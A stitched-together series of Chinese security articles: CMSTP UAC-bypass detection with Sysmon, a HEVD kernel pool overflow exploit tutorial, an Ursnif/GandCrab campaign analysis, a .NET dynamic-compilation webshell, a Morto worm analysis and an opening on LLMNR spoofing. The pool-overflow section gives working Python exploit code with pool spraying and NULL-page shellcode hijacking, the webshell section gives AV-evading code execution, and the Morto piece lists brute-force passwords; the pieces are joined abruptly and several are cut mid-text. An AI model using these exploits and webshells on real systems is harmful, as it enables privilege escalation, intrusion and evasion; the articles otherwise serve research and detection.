[](https://p3.ssl.qhimg.com/t01c4cc270580b5ca15.png)
注意Sysmon 12和Sysmon 13注册表value add和value set事件：
[](https://p0.ssl.qhimg.com/t014c676a5a26d19dbc.png)
[](https://p5.ssl.qhimg.com/t01208f71a719e2b3bf.png)
Dllhost.exe在Sysmon 12中创建对象cmmgr32.exe，然后在随后的Sysmon
13中将ProfileInstallPath值设置为C:ProgramDataMicrosoftNetworkConnectionsCm。
让我们看看实际上产生cmd.exe的Sysmon 1事件：
[](https://p2.ssl.qhimg.com/t011129bf1a2acf7a07.png)
与方法1不同的是，在方法1中，cmstp.exe是ParentImage，目标二进制文件是子文件，这里Dllhost.exe是父文件。
我们在ParentCommand行字段中看到，Dllhost.exe使用带有某种GUID的ProcessID选项。为了理解GUID在那里做什么，我们将重新运行，但这次使用修改的Sysmon配置，允许我们获得Sysmon事件10s进程访问。
为了限制事件10的收集孔径，避免系统陷入停顿，我们将遵循Tim Burrell的[做法](https://azure.microsoft.com/en-us/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center)，在这里设置Sysmon，以便我们只提取那些请求高度特权级别的进程访问的Sysmon
10事件，或者在CallTrack中包含一个“unknown”字符串：[](https://p0.ssl.qhimg.com/t013a4a2e037365e386.png)
我们需要让Sysmon知道通过运行以下命令来使用更新后的配置：
sysmon -c <modified_config.xml>
重新运行时，我们会看到另外几个Sysmon 10事件。其中特别有趣的是，Dllhost.exe访问TargetImage cmd.exe。
[](https://p1.ssl.qhimg.com/t011d06e7d40c24e996.png)
注意CallTrack数据。其中一个被调用的DLL是cmlua.dll，[[@hFireF0X](https://github.com/hFireF0X
"@hFireF0X")][将它作为包含一个名为CMLUAUTIL的自动提升的COM接口调用](https://twitter.com/hFireF0X/status/897640081053364225)。当我们使用方法3时，我们将再次看到CMLUAUTIL。现在，让我们回顾一下方法2的潜在检测：
* Sysmon 1，其中ParentImage包含dllhost.exe，Image包含cmd.exe
* Sysmon 10，其中CallTrack包含cmlua.dll
* Sysmon 12或13，其中TargetObject包含cmmgr32.exe
### 方法3-通过COM接口直接利用UAC绕过
正如[@hFireF0X](https://github.com/hFireF0X
"@hFireF0X")在他的tweet中所说的，cmlua.dll分别通过cmlua.dll和cmstplua.dll引用自动提升COM接口CMLUAUTIL和CMSTPLUA。在他的UAC绕过项目UACME(https：/github.com/hfire0x/UACME)中，列举了几个实现绕过的方法，但是#41包含了一个PoC，可以执行我们在方法2中看到的相同的攻击，除了不处理cmstp.exe，它是弹出对话框，并且依赖DLL与COM接口进行对接，我们直接与它们进行对接。
如果使用这个方法，对Sysmon可见性的潜在影响是什么？
要在2018年7月开始执行这种UACME驱动的攻击，我们需要在“Compiled”和“Source”目录仍然有效的情况下获取UACME
REPO的前一次提交(他已经删除了我们所需的可执行文件，因此需要使用2018年5月或6月的提交)。在Compiled目录下，让我们运行“Akagi32.exe
41”。
如果我们回到方法2中所分析的Sysmon
10事件，其中Dllhost.exe访问cmd.exe并查看CallTrack，则没有提到cmlua.dll。还请注意，没有Sysmon
12或13事件。这表明查找cmlua.dll或注册表adds / mods 可能很难：
[](https://p5.ssl.qhimg.com/t015974ab7fe09b10a6.png)
让我们重新访问Sysmon
1事件，其中dllhost.exe产生cmd.exe。事实证明，我们在ParentCommandLine字段中看到的GUID实际上是我们连接到的COM对象的类ID，在本例中是支持自动提升的CMSTPLUA。
[](https://p3.ssl.qhimg.com/t011129bf1a2acf7a07.png)
然后，检测方法2和3的一个潜在的高级方法是在ParentCommand行中对dllhost.exe以及CMSTPLUA的GUID发出警报：
* Sysmon 1，其中ParentCommandLine包含dllhost.exe并包含CMSTPLUA COM对象的GUID(3E5FC7F9-9A51-4367-9063-A120244FBEC7)
我需要做进一步的研究来了解如何进一步混淆，这可能不是很容易但它可能是一个很好的基础。
总之，CMSTP及其依赖关系能够促进几种不同的代码执行方法和UAC绕过，每种方法都有它自己的细微差别和影响。请注意，在将这些检测部署到生产中之前，必须对网络上正在发生的情况进行基线化，并围绕为什么实现这些检测中的任何一个都会对你产生影响做出假设。
审核人：yiwang 编辑：边边 | 社区文章 |
# Windows内核进击之旅——池溢出漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上一篇文章主要介绍了windows内核中UAF漏洞的利用方式，这次的主题是池溢出漏洞。仍然是通过[HEVD](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)这个项目来了解该内核漏洞的原理以及利用方式。
调试机是win7 64位，被调试机是win7 32位。
## 漏洞简介
内核池（pool）是windows中类似于堆的一种动态内存结构，以实现系统中灵活释放与分配内存的需求。池的大小在申请出来后是一定的，此时如果程序没有对输入长度进行检查，则就会导致溢出。具体看hevd中相应代码：
NTSTATUS TriggerNonPagedPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Non Paged Pool Overflow\n");
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
通过代码中的secure版本以及vuln版本可以很直观的看到漏洞的成因，主要是在调用RtlCopyMemory函数时第三个参数size的来源，secure版本中size是内核池的大小，而vuln的版本中size是用户态中直接传入，可以由用户控制，若传入的size大于内存池的大小就会覆盖到下一块内存池，导致池溢出，从而造成蓝屏。
## 漏洞触发
触发该漏洞的主要代码如下所示，可以看到传入的字符串长度为512，而池的大小为504，所以会池溢出覆盖到下一个池的头结构。
def trigger(hDevice, dwIoControlCode):
"""Create evil buf and send IOCTL"""
evilbuf = create_string_buffer("A"*(504+8))
lpInBuffer = addressof(evilbuf)
nInBufferSize = 504+8
outputbuff=create_string_buffer("A"*(0x800))
lpOutBuffer = addressof(outputbuff)
nOutBufferSize = 0x800
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
if not pwnd:
print "\t[-]Error: Not pwnd :(\n" + FormatError()
sys.exit(-1)
if __name__ == "__main__":
print "\n**HackSys Extreme Vulnerable Driver**"
print "**pool overflow BSOD**\n"
trigger(gethandle(), ctl_code(0x803))
将断点下在覆盖函数之前，查看当时内存池的情况：
可以看到在当前堆块偏移504的地方既是下一堆块的头结构，此时该地址的内存为
单步执行到下一步，可以看到该地址被覆盖为可控的0x41414141。
此时，再次查看池的情况，可以看到池结构已经由于被覆盖使得无法解析。
正是由于溢出破坏了堆结构，造成了后续内核中数据出错，形成BSOD。
## 漏洞利用
溢出的原理很简单，那么这个漏洞具体该如何利用。利用主要需要理解的地方包括两个，一个是伪造Event结构体，一个是池喷射。
### 伪造Event结构体
首先是伪造Event结构体以实现控制流的劫持。
Windows系统中可以使用CreateEvent函数来在内核中创建一个Event内存池。想要释放该内存池使用CloseHandle释放即可，下面我们具体去看Event结构体。
Event结构体中我们关心的字段是TypeIndex这个字段，该字段为一个数组索引，索引的数组为nt!ObTypeIndexTable，该数组是OBJECT_TYPE数组，包含了所有的类型。
从图里我们看到Event结构的TypeIndex字段为0xc，该索引对应的是Event类型的Type，如下图所示。可以看到该全局数组0xc对应的是Event类型的OBJECT，同时该TYPE结构体偏移为0x28的结构体展开可以看到存在一些全局的回调函数指针。
由此可以想到我们是否可以通过伪造一个Event结构体，使得伪造这些函数指针从而劫持控制流。
这个想法是可行的，具体来说，可以看到上图中nt!ObTypeIndexTable数组里第一个索引的值为0，如果我们通过池溢出将Event结构体中的TypeIndex字段覆盖为0，此时调用相应的函数时将会从0内存处去寻找相应的函数指针。所以问题变成了我们如何在地址为0的内存处写入数据，这个方法在之前的[文章](https://ray-cp.github.io/archivers/Windows-Kernel-Exploitation-Null-Pointer-Derefrence)已经提过就不再详细写，具体来说就是可以使用NtAllocateVirtualMemory函数将0内存页申请出来，同时伪造数据，我们劫持的函数是图中的CloseProcedure，即0x28+0x38=0x60偏移处的值。即将0x60处的值如果能够覆盖成shellcode地址，即形成了对函数流的劫持。
伪造后的相应结构体会变成如下图所示。可以看到TypeIndex被覆盖为0，而0地址处中0x60的值为shellcode的地址，此时在代码中调用CloseHandle即会调用CloseProcedure实现控制流的劫持。相关的代码为：
…
"""Create evil buffer and send IOCTL"""
print "[*]Triggering vulnerable IOCTL..."
data="A" * 504
data += struct.pack("L", 0x04080040)
data += struct.pack("L", 0xEE657645)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000040)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000001)
data += struct.pack("L", 0x00000001)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00080000) #此处为伪造TypeIndex处
def Build_Fake_Object_Type(shellcode_address):
null_status = NtAllocateVirtualMemory(GetCurrentProcess(), byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
if null_status != 0x0:
print "\t[+] Failed to allocate NULL page..."
sys.exit(-1)
else:
print "\t[+] NULL Page Allocated"
ptr=c_void_p(0x60)
ptr.contents=c_int(shellcode_address)
memmove(c_void_p(0x60), byref(c_ulong(shellcode_address)), 4)
### 池喷射
控制函数执行流的方式有了，接下来需要解决的一个问题是：如何精确控制内存，使得该池的下一个块即为Event结构体。
要解决这个问题就要使用池喷射，原理与堆喷射类似，简要介绍为：1.申请出大量的Event结构体，使得后续每次申请出来池时都是分配器新分配出来的内存页，而不是之前的地址；2.释放小块连续的堆块，形成空洞。使得其合并大小与HEVD代码中申请出的池块大小相同，通过前面的调试可以知道Event结构体大小为0x40，申请出来的池块大小为0x200，所以连续释放的八个Event结构体会合并为0x200。3.经过上一步，0x200的空闲堆块后均为Event结构体，此时开始执行，可以确保池结构体后面紧接着Event结构体。实现精准控制。
具体代码如下所示：
padd_array=[]
fengshui_array=[]
for i in range(0,10000):
padd_array.append(CreateEventA(None, False, False, None))
for i in range(0,5000):
fengshui_array.append(CreateEventA(None, False, False, None))
for i in range(0,len(fengshui_array),16):
for j in range(0,8):
CloseHandle(fengshui_array[i+j])
经过分配后内存布局会如下图所示：
### 利用小结
通过上面两步，我们即可实现稳定的执行shellcode，shellcode使用的是提权代码。整个利用的过程总结为：
1.首先将通过NtAllocateVirtualMemory将shellcode的地址写入到0x60处；
2.接着使用堆喷射技术构造出0x200的空闲堆块紧跟着Event结构的内存池布局；
3.通过池溢出覆盖Event结构体，将其TypeIndex字段覆盖为0。
4.调用CloseHandle，最终调用CloseProcedure，执行shellcode。
5.提权成功。
## 小结
道长且坚，继续加油。所有的代码都在我的[github](https://github.com/ray-cp/windows-kernel-exploit/tree/master/HEVD/Pool_Overflow/Win7_x86)
## 链接
1. <https://www.fuzzysecurity.com/tutorials/expDev/20.html>
2. <https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/>
3. <http://codemachine.com/article_objectheader.html>
4. <http://trackwatch.com/windows-kernel-pool-spraying/> | 社区文章 |
# 概要
Carbon Black
ThreatSight团队研究人员发现一起攻击活动，如果攻击成功，可以同时感染Ursnif恶意软件和GandCrab勒索软件。整个攻击活动使用多种不同的方法，其中包括红队、大量网络犯罪分子常用的技术。
攻击活动最开始通过含有word附件的钓鱼邮件，word附件中嵌入了宏文件，研究人员一共发现了180个变种。宏可以调用编码的PowerShell脚本，然后使用一系列技术来下载和执行Ursnif和GandCrab变种。整个攻击活动的攻击链如图1所示：
图1: 攻击概览
# 技术分析
## 承载文件
攻击活动中攻击者用.doc格式的word文档进行初始阶段传递。研究人员一共发现大约180个word变种，这些文档最大的区别在于恶意宏中的metadata和junk
data。Metadata可以看出文档最早是2018年12月17日保存的，并且在2019年1月21日更新过一次。许多metadata域使用的是常见的数据集，比如样本的subject就是美国的州和常见的姓名。
表1: 分析的样本
该文档含有一个VBS宏，解压后大概是650行代码。但大多数的代码都是垃圾代码。
图2: VBScript概览
从VB脚本中移除垃圾代码，大约有18行的相关代码，最终会在当前文档中调用shape
box。变量名本身是不相关的，但下图中的黑体字可以从特定的shape中提取出AlternativeText域，然后执行。
Sub AutoOpen()
Set QWxwqfqgHttm = ThisDocument
Set FXpVcBPxzVsJ = QWxwqfqgHttm.Shapes(“4obka2etp1318a”)
faaQXNtRqmxB = FXpVcBPxzVsJ.AlternativeText
npNsCwDavJ = Array(HpTNHpSpmZgp, BlmmaRvZMLP, tRzpZFwJWJcCj, tPJRanNbKWZPrd,[email protected](CleanString(faaQXNtRqmxB), 231 * 2 + -462), RfjXGpzMtcrz, hfbZCRXCJQPJQ)
表2: 相关的VBScript代码
可选的文本很容易就可以出现在office文档的body中。下图中蓝色框中的内容是定位的shape名，文本内容是红色框中的内容。可以看出文本是base64编码的命令，然后由上面的VB脚本执行。
图3: 可选的文本
## 第二阶段
PowerShell脚本首先会创建一个.Net
Webclient类的实例，然后用GetMethods()调用来枚举可用的方法。枚举的方法首先会被保存，然后第一个for循环会寻找名为DownloadString的方法。
定位了DownloadString方法后，联系硬编码的C2来请求文件，文件会被下载和调用，如图中蓝色部分。因为请求的资源会以字符串的形式保存和执行，而且都发生在内存中。
循环会找寻一个名为DownloadData的方法，如果找到，就从第二个C2下载资源。请求会以硬编码的文件名（图中绿色框）保存在CommonApplicationData目中(在Vista及之后版本是C:\ProgramData)。脚本会使用硬编码的DCOM对象C08AFD90-F2A1-11D1-8455-00A0C91F3880，这也是ShellBrowserWindow的ClassID。enigma0x3的文章详细描述了如何使用CLSID来实例化ShellBrowserWindow
对象和调用ShellExecute方法，攻击者也采用了同样的方法。
图4: PowerShell脚本
## Payloads
上述步骤中下载的payload会在系统中执行。
### GandCrab Cradle
第一个通过DownloadString方法下载的payload是一个一行的PowerShell，使用IF语句来评估被入侵系统的架构，然后从pastebin.com下载额外的payload。然后其他的payload会在内存中执行。下图描述了o402ek2m.php文件的内容。需要说明的是文件的内容是由攻击者更新的以引用不同的pastebin
upload。更新的被调用的函数名如下图所示，但函数名也会动态调整来与下载的pastebin文件的函数名相匹配。
图5: PowerShell Cradle
一旦从pastebin.com
post中下载到原始的内容后，数据也会在内存中执行。在分析的变种中，研究人员发现文件中含有一个大约2800行的PowerShell脚本。该脚本是Empire
Invoke-PSInject模块的一个变种，对部分内容做了修改。修改的主要部分是移除注释和重命名变量。脚本将一个base64编码的嵌入的PE文件注入到当前的PowerShell进程中。下图是调用的main函数返过来调用负责注入嵌入的PE文件的函数。
图6: PowerShell反射型注入脚本
Base64编码的PE可以从上图的2760行代码中看出是一个GandCrab变种，通过metadata数据可以看出版本为Gandcrab version
5.0.4。
File Name : krab5
File Size : 133,632 bytes
MD5 : 0f270db9ab9361e20058b8c6129bf30e
SHA256 : d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525
Fuzzy : 1536:7S/0t4vMd+uEkJd4a7b+KqeaiMGFzj92URuVSuKhsWjcdRIJXNhoJwyvZaX:m/fMb7t/JqNi5+VSuKORIJXmaX
Compiled Time : Mon Oct 29 17:39:23 2018 UTC
PE Sections (5) : Name Size MD5
.text 73,728 019bc7edf8c2896754fdbdbc2ddae4ec
.rdata 27,136 d6ed79624f7af19ba90f51379b7f31e4
.data 26,112 1ec7b57b01d0c46b628a991555fc90f0
.rsrc 512 89b7e19270b2a5563c301b84b28e423f
.reloc 5,120 685c3c775f65bffceccc1598ff7c2e59
Original DLL : krab5.dll
DLL Exports (1) : Ordinal Name
1 _ReflectiveLoader@0
Magic : PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
表3: Gandcrab metadata
### Ursnif
图4中高亮表示的就是通过DownloadData方法下载的第二个payload，是一个Ursnif可执行文件。在实例中，文件会以随机名保存在C:\ProgramData目录中。Ursnif样本执行后，会进行凭证获取、系统和进程信息收集以及其他Ursnif样本都会进行的动作。在本次攻击活动中，大量的Ursnif变种都位于bevendbrec.com站点上。Carbon
Black在iscondisth.com和bevendbrec.com上一共发现大约200个不同的Ursnif变种。
表4: Ursnif metadata
# 攻击活动详情
研究人员共发现与本次攻击活动相关的大约180个变种，使用VirusTotal
Graph功能将这些变种根据metadata或文档结构等进行分组（类），结果如图8所示。
图7: 与攻击活动相关的word文档
图中可以看出位于bevendbrec[.]com站点一共有3个不同种类的Ursnif变种，PowerShell cradle和PS
Empire都回注入Gandcrab样本到内存中，如图8所示。
图8: 根据隔离关系分析的样本
下图中的变种主要是根据C2基础设施进行分类的，样本之间虽然有一些小的改变，这也是攻击者为了应对根据hash的检测方法。
图9: 与攻击活动相关的Ursnif样本
<https://www.carbonblack.com/2019/01/24/carbon-black-tau-threatsight-analysis-gandcrab-and-ursnif-campaign/> | 社区文章 |
Chrome有一个tampermonkey
猴子插件，这个插件用来突破了前端防御(主要指如Server下发的js代码做前端浏览器指纹采集)，这种情况下前端防御bypass了，从防御者角度，该怎么办？
浏览器的安全机制有哪一些？ | 社区文章 |
# 基于.NET动态编译技术实现任意代码执行
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
当下主流的Waf或Windows
Defender等终端杀软、EDR大多都是从特征码查杀，在.Net和VBS下一句话木马中最常见的特征是eval，对于攻击者来说需要避开这个系统关键字，可从反序列化方式避开eval，但公开已久相信很多安全产品已经能够很好检测和阻断这类攻击请求。笔者从.NET
内置的CodeDomProvider类下手实现动态编译.NET代码，指明JScrip或者C#作为编译语言，编译的WebShell目前Windows
Defender不会查杀。而防御者从流量或终端识别 “CodeDomProvider.CreateProvider、CreateInstance”等特征码。
## 二、动态编译
.Net可通过编译技术将外部输入的字符串作为代码执行，动态编译技术提供了最核心的两个类CodeDomProvider 和
CompilerParameters，前者相当于编译器，后者相当于编译器参数，CodeDomProvider支持多种语言（如C#、VB、Jscript），编译器参数CompilerParameters.GenerateExecutable默认表示生成dll，GenerateInMemory=
true时表示在内存中加载，CompileAssemblyFromSource表示程序集的数据源，再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; //编译器
CompilerParameters comPara = new CompilerParameters(); //编译器参数
comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
comPara.GenerateExecutable = false; //生成exe
comPara.GenerateInMemory = true; //内存中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射调用方法
var result = objMifo.Invoke(objInstance, null);
## 三、落地实现
上述代码里的SourceText方法需提供编译的C#源代码，笔者创建了NeteyeInput类，如下
public static string SourceText(string txt)
{
StringBuilder sb = new StringBuilder();
sb.Append("using System;");
sb.Append(Environment.NewLine);
sb.Append("namespace Neteye");
sb.Append(Environment.NewLine);
sb.Append("{");
sb.Append(Environment.NewLine);
sb.Append(" public class NeteyeInput");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(" public void OutPut()");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append("}");
string code = sb.ToString();
return code;
}
类里声明了OutPut方法，该方法里通过Base64解码得到输入的原生字符串，笔者在这里以计算器作为演示，将“System.Diagnostics.Process.Start(“cmd.exe”,”/c
calc”);” 编码为
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
最后在一般处理程序ProcessRequest方法中调用
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}
## 四、其他方法
* **Jscript.Net 动态编译拆解eval**
在.NET安全领域中一句话木马主流的都是交给eval关键词执行，而很多安全产品都会对此重点查杀，所以笔者需要避开eval，而在.NET中eval只存在于Jscript.Net，所以需要将动态编译器指定为Jscript，其余和C#版本的动态编译基本一致，笔者通过插入无关字符将eval拆解掉，代码如下
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
}
}";
只需在编译的时候替换掉无关字符串“/ _[@Ivan1ee](https://github.com/Ivan1ee
"@Ivan1ee")@_/”，最后编译后反射执行目标方法。
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));
## 五、防御措施
* 一般web应用使用场景不多，检测特征码：CodeDomProvider.CreateProvider、CreateInstance等等，一旦告警需格外关注；
* 由于编译生成的程序集以临时文件保存在硬盘，需加入对可写目录下dll文件内容的监控；
* 文章涉及的代码已经打包在 “<https://github.com/Ivan1ee/.NETWebShell>“ | 社区文章 |
# 【威胁情报】流行威胁之情报速递-Morto蠕虫
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**威胁概述**
Morto恶意代码家族是一种内网传播的蠕虫，最早于2011年被趋势科技披露。360威胁情报中心的监测显示在国内该家族到目前都非常活跃，需要网络安全管理员引起重视进行处理。
通过对该家族所使用的C&C域名的监控，我们看到最近一个月中该恶意代码的感染情况如下图：
感染的IP分布大致如下：
其中在国内各省份的感染分布状态如下：
**威胁情报**
以下是威胁相关的情报，读者可以根据需要进行对应的处理，360所有支持威胁情报的产品（天眼、NGSOC、智慧防火墙等）都已经内置了检测。
**技术分析**
整体而言，恶意代码分为三个部分，maindrop，loader，payload。
**maindrop**
该模块主要用于运行环境初始化，相应模块的释放。
通过IDA加载之后发现样本的导入函数表如下，通常样本为了防止研究员分析会采取动态函数的方式获取需要调用的API的地址，使用Loadlibrary/GetProAddress的方式加载，但是这个地方发现导入函数中并不包含这两个基本的函数。
因此怀疑该样本使用了shellcode中常用的API获取方式，即通过fs获取kernel32基地址，并解析该dll导出函数的方式获取必要的API。
分析代码之后发现，该函数确实通过fs这个寄存器获取了当前进程加载的dll信息，并从中遍历出kernel32的地址。
可以看到获取对应的基地址之后通过解析其导出表获取对应的函数，如下图所示：
之后解密并运行，如下图所示创建以下几个注册表项，并释放出Loader clb.dll。
其中上述的注册表HKLM\SYSTEM\WPA\md中保存了对应加密版的payloader，可以看到其长度为444402。
之后maindrop开启一个regedit.exe进程。
**loader**
注册表进程默认的情况下会加载clb.dll这个dll，maindrop之前在windows目录下已经释放了同名的恶意clb.dll，由于Windows的dll加载机制，此处将导致regedit进程将恶意的clb.dll加载。
clb.dll运行之后会从HKLM\SYSTEM\WPA\md中解密出对应的payload并加载运行，之后会创建以下两个文件，cache实际为一个loader。
C:WINDOWSOffline Web Pagescache.txt
C:WINDOWSsystem32Sens32.dll
**payload**
payload主要用于和远程进行通信并实现RDP扫描。
**杀软对抗**
运行之后针对主流杀软做了相应的监控。
Ekrn，avguard，360rp，zhudongfangyu，RavMonD，kxescore，KVSrvXP，ccSvcHst，avgwdsvc，MsMpEng，vsserv，mcshield，fsdfwd，GDFwSvc，coreServiceShell，avp，MPSvc，PavFnSvr，knsdave，AvastSvc，avpmapp，SpySweeper，K7RTScan，SavService，Vba32Ldr，scanwscs，NSESVC.EXE，FortiScand，FPAVServer，a2service，freshclam，cmdagent，ArcaConfSV，ACAAS
下图为其中对360的监控代码：
**C &C通信**
在更新线程里，蠕虫尝试连接内置的硬编码域名，所下图所示，不同变种会有所区别。
和CC的通讯是通过DNS查询实现的，对内置的域名进行DNS查询，查询类型为DNS_TYPE_TEXT，通过这种方式实现和C&C的通讯。
服务器返回加密后的数据，具体如下，由于调试的样本没有接收到对应的返回包，此处引用Symantec的图片。
解密加密的数据包，获取对应的操作指令。
解密数据包后，根据服务端下发的指令执行相关操作，如下图所示的开启新线程，cmd执行，注册表写入等操作。
**RDP暴力破解**
Morto的传播主要通过RDP协议登录并进行弱口令爆破实现。
样本开启一个专用于爆破的线程，在线程里循环随机生成一个目标IP，检查合法性后尝试对其进行爆破。使用到的用户名如下：
1,123,a,actuser,adm,admin,admin1,admin2,administrator,aspnet,backup,console,david,guest,john,owner,owner,root,server,sql,support,support_388945a0,sys,test,test1,test2,test3,user,user1,user2,user3,user4,user5
使用的弱密码如下：
!@#$,!@#$%,!@#$%^,!@#$%^&*,%u%,%u%1,%u%111111,%u%12,%u%123,%u%1234,%u%123456,0,000000,1,111,1111111111,1111111,111222,112233,11223344,12,121212,123,123123,123321,1234,12344321,12345,123456,1234567,12345678,123456789,1234567890,1234qwer,1313,1314520,159357,168168,1QAZ,1q2w3e,1qaz2wsx,2010,2011,2012,2222,222222223,31415926,369,4321,520,520520,654321,666666,7,7777,7777777,77777777,789456,888888,88888888,987654,987654321999999,PASSWORD,Password,aaaa,abc,abc123,abcd,abcd1234,admin,admin123,computer,dragon,iloveyou,letmein,pass,password,princess,qazwsx,rockyou,root,secret,server,super,test,user,zxcvbnm
开启RDP登录：
在RDP登陆成功后，尝试使用管理员账号执行以下操作，执行感染操作，由于a.dll样本使用的是rundll32.exe进行启动，因此首先通过r.reg将rundll32.exe设置为administrator以便与后续样本dll的执行。
木马中RDP的协议采用了开源代码实现，经过代码对比，应该是采用了rdesktop早期版本实现：
**总结**
作为一个曝光6年却依然活动的蠕虫，Morto还是有一定的技术特点，如通过clb加载恶意dll，C&C采用DNS查询的方式进行通信，payload通过注册表保存（应该算是早期无文件样本的雏形了）等。这个蠕虫的流行也时刻提醒我们无论在什么环境，弱口令都是企业内部安全需要关注的一大问题。
**参考引用**
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=367
https://www.symantec.com/connect/blogs/morto-worm-sets-dns-record
https://www.f-secure.com/v-descs/worm_w32_morto_a.shtml | 社区文章 |
# 【技术分享】渗透测试中的LLMNR/NBT-NS欺骗攻击
|
##### 译文声明
本文是翻译文章，文章来源：aptive.co.uk
原文地址：<https://www.aptive.co.uk/blog/llmnr-nbt-ns-spoofing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：140RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**简介**
LLMNR＆NBT-NS
欺骗攻击是一种经典的内部网络攻击，然而由于一方面了解它的人很少，另一方面在Windows中它们是默认启用的，所以该攻击到现在仍然是有效的。在本文中，我们首先为读者解释什么是LLMNR＆NBT-NS攻击，然后介绍如何通过该攻击进行渗透测试，最后，给出针对该漏洞的防御措施。
**什么是LLMNR和NetBIOS名称服务器广播？**
当DNS名称服务器请求失败时，Microsoft Windows系统就会通过链路本地多播名称解析（LLMNR）和Net-BIOS名称服务（NBT-NS）试图在本地进行名称解析。
**LLMNR和Netbios NS广播有什么问题吗？**
当DNS名称无法解析的时候，客户端就会将未经认证的UDP广播到网络中，询问它是否为本地系统的名称。
事实上，该过程是未被认证的，并会广播到整个网络，从而允许网络上的任何机器响应并声称是目标机器。
**什么是LLMNR / NBT-NS中毒攻击？**
